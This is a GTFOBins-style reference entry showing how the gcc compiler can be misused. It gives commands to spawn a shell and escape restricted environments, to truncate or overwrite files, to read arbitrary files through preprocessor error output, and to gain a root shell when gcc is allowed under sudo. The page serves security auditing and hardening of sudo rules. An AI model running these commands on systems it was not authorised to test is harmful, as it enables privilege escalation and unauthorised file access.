.. / gcc ☆ Star 10,833

Shell | File write | File read | Sudo

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
gcc -wrapper /bin/sh,-s .
```

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

```
LFILE=file_to_delete
gcc -xc /dev/null -o $LFILE
```

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

(a)

```
LFILE=file_to_read
gcc -x c -E "$LFILE"
```

(b)

The file is read and parsed as a list of files (one per line), the content is disaplyed as error messages, thus this might not be suitable to read arbitrary data.

```
LFILE=file_to_read
gcc @"$LFILE"
```

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo gcc -wrapper /bin/sh,-s .
```